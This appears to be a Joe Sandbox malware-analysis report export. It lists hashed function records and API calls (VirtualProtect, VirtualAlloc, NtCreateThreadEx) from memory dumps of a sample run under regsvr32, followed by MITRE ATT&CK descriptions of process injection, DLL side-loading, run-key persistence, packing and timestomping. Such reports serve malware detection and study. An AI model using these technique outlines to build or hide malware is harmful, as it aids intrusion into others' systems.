Source File: 00000010.00000002.2203386478.00000000032D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 032D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_32d0000_6719.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbd2beb00b22a7b3ecaf518117a40d811a62a2a1f8592233721c129b2235660b
Instruction ID: 2bedf681c0b9218c5701476b8528958291f2564b6485e0ad584268641b03e28a
Opcode Fuzzy Hash: fbd2beb00b22a7b3ecaf518117a40d811a62a2a1f8592233721c129b2235660b
Instruction Fuzzy Hash: B9D023327B42100FD708925C64217ED2F5D8F97706F19007FE007CF291C5C8490143C4

Uniqueness

Uniqueness Score: -1.00%

Function 032D5810 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2203386478.00000000032D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 032D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_32d0000_6719.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ac96eb00f712fa34828001237abbb06b07a550133c70c750c2d9dea5e7c15ca
Instruction ID: 055f83f82a5ec1638b759719847d5fcdb1621ed72094ea01e5295c16ea9719b0
Opcode Fuzzy Hash: 6ac96eb00f712fa34828001237abbb06b07a550133c70c750c2d9dea5e7c15ca
Instruction Fuzzy Hash: 66D0A7502083854FD717D73888647427FA05B43184F2D80C7C082CE5BEC7A459858742

Uniqueness

Uniqueness Score: -1.00%

Function 00D28AC7 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2186198789.0000000000D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_d20000_6719.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a08663ee9f02876d4369b010ed94589649a7a975bcc95f39e2c5c88dc3a5c94
Instruction ID: 21f09faa9c0be381d3622e516da297a139c59e8c86e95757c33f30a71edb0c3a
Opcode Fuzzy Hash: 4a08663ee9f02876d4369b010ed94589649a7a975bcc95f39e2c5c88dc3a5c94
Instruction Fuzzy Hash: 59D05B30D4131CCBD71CCBA9D45439DB3B2FF94314F54845AC005A6184CF758C46C710

Uniqueness

Uniqueness Score: -1.00%

Function 032D6A10 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2203386478.00000000032D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 032D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_32d0000_6719.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a40e5dcfeefdc154b7e7df260c599fe951ae0588ebe2c212c8ad6e3170fafb6
Instruction ID: 016875831b1dd314fb8979b104fba52474d1be4f5a4f435d191ca7b7b7d8bd58
Opcode Fuzzy Hash: 2a40e5dcfeefdc154b7e7df260c599fe951ae0588ebe2c212c8ad6e3170fafb6
Instruction Fuzzy Hash: A9B09B3135523817D914719D641059D768D4786660F100167A51D8B7414DD59C4103DD

Uniqueness

Uniqueness Score: -1.00%

Function 032D1AEA Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2203386478.00000000032D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 032D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_32d0000_6719.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81eedd2c237d752b6e92a6e497b9eea9455e5c850101929d21132d099b20da5d
Instruction ID: 78210abb36b0709f370fd044cad3b2c122d07c0e718b9f75108ebdbe6aac6be8
Opcode Fuzzy Hash: 81eedd2c237d752b6e92a6e497b9eea9455e5c850101929d21132d099b20da5d
Instruction Fuzzy Hash: C0D09279E14288CBCF00CFD4E4444DCBBB8FB48304F000026E419AB204D2302964CF00

Uniqueness

Uniqueness Score: -1.00%

Function 032D6E58 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2203386478.00000000032D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 032D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_32d0000_6719.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de5d4cb1736246c6a9d994694c16279e0f28611262faab633d52b6b8d97b2687
Instruction ID: 5c89b4464e2a7a8e56b40679d2f6bfd94c32b75e469ace6fd18364d93e2e9d74
Opcode Fuzzy Hash: de5d4cb1736246c6a9d994694c16279e0f28611262faab633d52b6b8d97b2687
Instruction Fuzzy Hash: 6EB09B3135523417D614719D641069E768D8B87665F540067F51D8F745CDC59C4103D9

Uniqueness

Uniqueness Score: -1.00%

Function 00D2D970 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2186198789.0000000000D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_d20000_6719.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be06066d448231a8625b0cee4445ee75cc3c5b5e2e15ed2792dfb3068dc825ed
Instruction ID: d71043913c72814bd215741f3cec6cca1eaa05ac6f3ce17ee3ecb89ec4962f6c
Opcode Fuzzy Hash: be06066d448231a8625b0cee4445ee75cc3c5b5e2e15ed2792dfb3068dc825ed
Instruction Fuzzy Hash: 32D022206001814FC302CF2CE809B823FE1BF84322F8504A1F440EF31AC320E8C4CB62

Uniqueness

Uniqueness Score: -1.00%

Function 032D55C5 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2203386478.00000000032D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 032D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_32d0000_6719.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60a2977613c89dd5481fcd1c1028437fdb3abd0145414914f4ef5089250b1c29
Instruction ID: 55ee2c3b96e1dbee963706aff1e0e4895bb0f920a0c96579f4786c915212e2e7
Opcode Fuzzy Hash: 60a2977613c89dd5481fcd1c1028437fdb3abd0145414914f4ef5089250b1c29
Instruction Fuzzy Hash: 3BD0C97086421ACFEB21CF84C91C7EEBB71FB05309F244519C012A65D1CBF80485CF81

Uniqueness

Uniqueness Score: -1.00%

Function 032D46A8 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2203386478.00000000032D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 032D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_32d0000_6719.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a487325e2ae97a9c7e73c82e9008d8d8fd9782ab0bdb5b5a1fc5120c9c45587
Instruction ID: 2796931ceb5e3f55f44c15d15e99ada4f03a818535189cf53e91fa6177c66c61
Opcode Fuzzy Hash: 6a487325e2ae97a9c7e73c82e9008d8d8fd9782ab0bdb5b5a1fc5120c9c45587
Instruction Fuzzy Hash: F2C012704112008FCF18EF1891482143DA0EB46315B30464950184D1D1C372C987CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 032D5685 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2203386478.00000000032D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 032D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_32d0000_6719.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72d7a5f77d5ed775b170296a567f8dbe8027a64685c6a6e58d1f2d1eb9c3e0e6
Instruction ID: 0ea2e3645ee4565e037ee952454b07ea4c63f867aecb8bf00be1e0b3b327855a
Opcode Fuzzy Hash: 72d7a5f77d5ed775b170296a567f8dbe8027a64685c6a6e58d1f2d1eb9c3e0e6
Instruction Fuzzy Hash: ADC002B44006058FCF18EF29E6886113EA4AB55328B304288906C4E2E6D372D587DAE1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 032DD179 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2203386478.00000000032D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 032D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_32d0000_6719.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e13e3257f55c4ea0b693e293819e0205ac256b85f7b00f21632d36b197d9b4ff
Instruction ID: a8056bd3b795980dcbf7a86b59c51a4a2244a4b31e5f21a33130df4e970b40f0
Opcode Fuzzy Hash: e13e3257f55c4ea0b693e293819e0205ac256b85f7b00f21632d36b197d9b4ff
Instruction Fuzzy Hash: 4DC19174E01218CFDB64DFA9D990B9DBBB2BF89300F2095AAD419AB354DB309D81CF51

Uniqueness

Uniqueness Score: -1.00%

Function 032D08F3 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2203386478.00000000032D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 032D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_32d0000_6719.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b09e36fe94fe72fcdae9a57b4d32c1387fbc832f092fbad3b84abb0ab473079d
Instruction ID: 2a869321b46c92fa1ff113a2a53a1f41a3417e2e9b45c00e31b2b610b17ed00b
Opcode Fuzzy Hash: b09e36fe94fe72fcdae9a57b4d32c1387fbc832f092fbad3b84abb0ab473079d
Instruction Fuzzy Hash: 03E04870D6660DDED714CFA1C0157FEFA74BB45304FA0A445C41B77351CBB08AC48A59

Uniqueness

Uniqueness Score: -1.00%

Function 00D2FC0F Relevance: 16.4, Strings: 13, Instructions: 149COMMON

Download Yara Rule

Strings

Dj, xrefs: 00D2FC9B
Dj, xrefs: 00D2FC2C
Dj, xrefs: 00D2FD54
Dj, xrefs: 00D2FD79
Dj, xrefs: 00D2FC51
Dj, xrefs: 00D2FCE5
Dj, xrefs: 00D2FD0A
Dj, xrefs: 00D2FDE8
Dj, xrefs: 00D2FD2F
Dj, xrefs: 00D2FDC3
Dj, xrefs: 00D2FC76
Dj, xrefs: 00D2FCC0
Dj, xrefs: 00D2FD9E

Memory Dump Source

Source File: 00000010.00000002.2186198789.0000000000D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_d20000_6719.jbxd

Similarity

API ID:
String ID: Dj$Dj$Dj$Dj$Dj$Dj$Dj$Dj$Dj$Dj$Dj$Dj$Dj
API String ID: 0-1410735092
Opcode ID: 94e00e1a8e07b074f53cbc1b085684e0e83c9116c926d1c58b8f5a67e63cfea4
Instruction ID: a03faf0b7d6aa9d01a033196de696c83d00c94a197d75da4b78857ba9cd12a87
Opcode Fuzzy Hash: 94e00e1a8e07b074f53cbc1b085684e0e83c9116c926d1c58b8f5a67e63cfea4
Instruction Fuzzy Hash: 2841B535700B006BD7056BF4985376D6A57FBCA300B58853CE2084F7A6DFBA6E1A4397

Uniqueness

Uniqueness Score: -1.00%

Function 00D2FC20 Relevance: 16.4, Strings: 13, Instructions: 143COMMON

Download Yara Rule

Strings

Dj, xrefs: 00D2FC9B
Dj, xrefs: 00D2FC2C
Dj, xrefs: 00D2FD54
Dj, xrefs: 00D2FD79
Dj, xrefs: 00D2FC51
Dj, xrefs: 00D2FCE5
Dj, xrefs: 00D2FD0A
Dj, xrefs: 00D2FDE8
Dj, xrefs: 00D2FD2F
Dj, xrefs: 00D2FDC3
Dj, xrefs: 00D2FC76
Dj, xrefs: 00D2FCC0
Dj, xrefs: 00D2FD9E

Memory Dump Source

Source File: 00000010.00000002.2186198789.0000000000D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_d20000_6719.jbxd

Similarity

API ID:
String ID: Dj$Dj$Dj$Dj$Dj$Dj$Dj$Dj$Dj$Dj$Dj$Dj$Dj
API String ID: 0-1410735092
Opcode ID: 138e923dd0d1eeb1d57c5bf6fd8d9ab3bac886adc956b503e11c3fbe12577877
Instruction ID: b2e740076342ef58a34fd45c9e1e64868a7b7af77732771b02c6f8fc00f952b7
Opcode Fuzzy Hash: 138e923dd0d1eeb1d57c5bf6fd8d9ab3bac886adc956b503e11c3fbe12577877
Instruction Fuzzy Hash: BD41A534700B007BD6056AF49853B6DA957FBCA300B58853CD2084F7A6DFBA6E094397

Uniqueness

Uniqueness Score: -1.00%

Function 00D2FE61 Relevance: 10.1, Strings: 8, Instructions: 102COMMON

Download Yara Rule

Strings

Dj, xrefs: 00D2FF10
Dj, xrefs: 00D2FEC6
Dj, xrefs: 00D2FEEB
Dj, xrefs: 00D2FEA1
Dj, xrefs: 00D2FE7C
Dj, xrefs: 00D2FF5A
Dj, xrefs: 00D2FF7F
Dj, xrefs: 00D2FF35

Memory Dump Source

Source File: 00000010.00000002.2186198789.0000000000D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_d20000_6719.jbxd

Similarity

API ID:
String ID: Dj$Dj$Dj$Dj$Dj$Dj$Dj$Dj
API String ID: 0-1021149334
Opcode ID: bd8505b404ba8b79dade1fb391eed4a42733b5e0bbd3b69b5477cd056faafe80
Instruction ID: d2c920022e2a48a7bfe9c6cd6201131eaaebbe4a0042428745af246f0b677b02
Opcode Fuzzy Hash: bd8505b404ba8b79dade1fb391eed4a42733b5e0bbd3b69b5477cd056faafe80
Instruction Fuzzy Hash: 86319530700B017BD7066EF49852B6DBA57FBCA200B98453CE2044F7A6DFB62E594397

Uniqueness

Uniqueness Score: -1.00%

Function 00D2FE70 Relevance: 10.1, Strings: 8, Instructions: 93COMMON

Download Yara Rule

Strings

Dj, xrefs: 00D2FF10
Dj, xrefs: 00D2FEC6
Dj, xrefs: 00D2FEEB
Dj, xrefs: 00D2FEA1
Dj, xrefs: 00D2FE7C
Dj, xrefs: 00D2FF5A
Dj, xrefs: 00D2FF7F
Dj, xrefs: 00D2FF35

Memory Dump Source

Source File: 00000010.00000002.2186198789.0000000000D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_d20000_6719.jbxd

Similarity

API ID:
String ID: Dj$Dj$Dj$Dj$Dj$Dj$Dj$Dj
API String ID: 0-1021149334
Opcode ID: 036d81ab11efe5deaea6d82d0858dd7f1a0176823c285c753a925e9394d32292
Instruction ID: 79923b6eca4407bfcb37eadbd8a9aa3618e8b7fc771ac56de846d5b921adaf4e
Opcode Fuzzy Hash: 036d81ab11efe5deaea6d82d0858dd7f1a0176823c285c753a925e9394d32292
Instruction Fuzzy Hash: 8A218130700B007BD6056EF49852B6DAA57FBCA700B98853CE2085F7A6DFB67E494397

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: regsvr32.exePID: 7916, Parent PID: 7900COMMON

Execution Graph

Execution Coverage:	26.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	43
Total number of Limit Nodes:	9

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 047747A0 Relevance: 6.6, APIs: 4, Instructions: 552
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 047748C5
VirtualProtect.KERNELBASE(?,?,?,?), ref: 04774902
VirtualProtect.KERNELBASE(?,?,?,?), ref: 04774945
VirtualAlloc.KERNELBASE(?,?,?,?), ref: 04774D67

Memory Dump Source

Source File: 00000012.00000002.1862176271.0000000004771000.00000020.00001000.00020000.00000000.sdmp, Offset: 04771000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_4771000_regsvr32.jbxd

Similarity

API ID: Virtual$Protect$Alloc
String ID:
API String ID: 2541858876-0
Opcode ID: fab61b793962815f91e90728a2402b905116a58a5ad64416d86883c564460b02
Instruction ID: f2a5b38d3273186ec68044a8b6300debb47597022fc68822098b7911fe69e471
Opcode Fuzzy Hash: fab61b793962815f91e90728a2402b905116a58a5ad64416d86883c564460b02
Instruction Fuzzy Hash: 4722D0766057408FD718CF29C884AABF7E6AFC8310F058A6EE499DB355DB70E805CB91

Uniqueness

Uniqueness Score: -1.00%

Function 048AF410 Relevance: 1.8, APIs: 1, Instructions: 251
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtCreateThreadEx.NTDLL(?,?,?,?,?,?,?,?,?,?,?), ref: 048AF62E

Memory Dump Source

Source File: 00000012.00000002.1862410838.00000000048A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 048A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_48a1000_regsvr32.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: dad47e9de4c2040757b84488d91c84373edd16df46b05dcfbb9993d1b3dcfcb6
Instruction ID: 4b3f36a8aff5e3144ff0d648afbc470c87963431e9580240dd018054d32dbfd5
Opcode Fuzzy Hash: dad47e9de4c2040757b84488d91c84373edd16df46b05dcfbb9993d1b3dcfcb6
Instruction Fuzzy Hash: 8FB17C72D001298BDB14CF69C950AADFBB2FF88310F15869AD919BB344D770AE91CF90

Uniqueness

Uniqueness Score: -1.00%

Function 048AFE00 Relevance: 1.7, APIs: 1, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindCloseChangeNotification.KERNELBASE(?), ref: 048AFF0E

Memory Dump Source

Source File: 00000012.00000002.1862410838.00000000048A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 048A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_48a1000_regsvr32.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: c6524fff0be612f7ead93fee53277f4bf217ac2c1dbc0d721c0c0a65503481b9
Instruction ID: ab2fad2e46e33104b322728517d34f875ca170f90b5b7b91e1f48ce6b2e825a9
Opcode Fuzzy Hash: c6524fff0be612f7ead93fee53277f4bf217ac2c1dbc0d721c0c0a65503481b9
Instruction Fuzzy Hash: 4D918172A087408FD314CF29C94465BBBE2BFC8314F168A2DE599DB365DB74E805CB92

Uniqueness

Uniqueness Score: -1.00%

Function 048A3980 Relevance: 1.7, APIs: 1, Instructions: 224
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MapViewOfFile.KERNELBASE(?,?,?,?,?), ref: 048A3AAB

Memory Dump Source

Source File: 00000012.00000002.1862410838.00000000048A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 048A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_48a1000_regsvr32.jbxd

Similarity

API ID: FileView
String ID:
API String ID: 3314676101-0
Opcode ID: 8b2b96a824a3388bf2288ff361675cac9ff2fb646488550b013a147cce6777a1
Instruction ID: 8a6550fc6d431109cbedd5cf903461e0a219873af409750720e6d31556492d03
Opcode Fuzzy Hash: 8b2b96a824a3388bf2288ff361675cac9ff2fb646488550b013a147cce6777a1
Instruction Fuzzy Hash: 0B919E316083508FD714CF29C8C0A6BBBE2BBC9314F648A2DE895CB354D775E916CB92

Uniqueness

Uniqueness Score: -1.00%

Function 048AF7B0 Relevance: 1.7, APIs: 1, Instructions: 194
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileMappingW.KERNELBASE(?,?,?,?,?,?), ref: 048AF8B6

Memory Dump Source

Source File: 00000012.00000002.1862410838.00000000048A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 048A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_48a1000_regsvr32.jbxd

Similarity

API ID: CreateFileMapping
String ID:
API String ID: 524692379-0
Opcode ID: cdf2995997a45b7435acf6317dfdf30645c7d59c2b86f491f6071cee547f176c
Instruction ID: bfa141c5aa7f484a2a5596e80faf3a7c1a3d859834145d15debaaa600bd445b2
Opcode Fuzzy Hash: cdf2995997a45b7435acf6317dfdf30645c7d59c2b86f491f6071cee547f176c
Instruction Fuzzy Hash: 17818C766083418FD714CF29C98095AB7F2FBC8314F258A2DEA999B354D731E816CB82

Uniqueness

Uniqueness Score: -1.00%

Function 048B05A0 Relevance: 1.5, APIs: 1, Instructions: 237
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(?,?,?,?), ref: 048B0869

Memory Dump Source

Source File: 00000012.00000002.1862410838.00000000048A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 048A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_48a1000_regsvr32.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 893cae7b9a51c1dcad9bea20ce27ea5c3befe613ebbf197722a83bcb0f2214b6
Instruction ID: 40be1cffafd6387996a757fd9e2d53be99454f0f9390f8ceeccd7fc26f557f11
Opcode Fuzzy Hash: 893cae7b9a51c1dcad9bea20ce27ea5c3befe613ebbf197722a83bcb0f2214b6
Instruction Fuzzy Hash: FFA15D76A093108FD314CF29C98065BF7E2BFC9314F168A2DE4959B364DB70E806CB82

Uniqueness

Uniqueness Score: -1.00%

Function 048B1330 Relevance: 1.4, APIs: 1, Instructions: 198
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualFree.KERNELBASE(?,?,?), ref: 048B1457

Memory Dump Source

Source File: 00000012.00000002.1862410838.00000000048A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 048A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_48a1000_regsvr32.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 409ba29741a8aecb381075f360497a97dc5c993b2254027b2185be49cc0ba270
Instruction ID: c9793bc09c8beafbaad8381b56ce1475f20785da9052c1a3a287ba4b2b2d8cfb
Opcode Fuzzy Hash: 409ba29741a8aecb381075f360497a97dc5c993b2254027b2185be49cc0ba270
Instruction Fuzzy Hash: C9717E76E101198FCB14CFA9C85469EFBB6BFC8314F258669D459EB345DB30A942CF80

Uniqueness

Uniqueness Score: -1.00%

Function 02901BC6 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 94
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 02901DF7

Strings

`, xrefs: 02901C84

Memory Dump Source

Source File: 00000012.00000002.1861698162.0000000002900000.00000040.00001000.00020000.00000000.sdmp, Offset: 02900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_2900000_regsvr32.jbxd

Similarity

API ID: ProtectVirtual
String ID: `
API String ID: 544645111-2679148245
Opcode ID: 24fdbdb1b4eb610697d2bc2ea3cf1211f4c0591be856574e2de9651e3a7b4999
Instruction ID: 110b620ddc49bee965cc2f05a95569f181faf102ac3fa6e22ff55810630bab07
Opcode Fuzzy Hash: 24fdbdb1b4eb610697d2bc2ea3cf1211f4c0591be856574e2de9651e3a7b4999
Instruction Fuzzy Hash: 1F418BB5E002288FDB54CF58C880B89FBB1FF49314F1581AAC94DAB346D731AA91CF91

Uniqueness

Uniqueness Score: -1.00%

Function 02902249 Relevance: 1.3, APIs: 1, Instructions: 86
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 029022C1

Memory Dump Source

Source File: 00000012.00000002.1861698162.0000000002900000.00000040.00001000.00020000.00000000.sdmp, Offset: 02900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_2900000_regsvr32.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: cfe44ed468d465073d3e644a950e18fefb25c3477db0fbd93ff02ebe56610681
Instruction ID: 9c9b6f46f10848cf1ebb4cc996f676e139e1d51449029ed87f6abdc22f41b069
Opcode Fuzzy Hash: cfe44ed468d465073d3e644a950e18fefb25c3477db0fbd93ff02ebe56610681
Instruction Fuzzy Hash: AF41E2B19012098FCB44DFA4C59479EBBF0FF88704F24856ED858AB391D376A846CF91

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

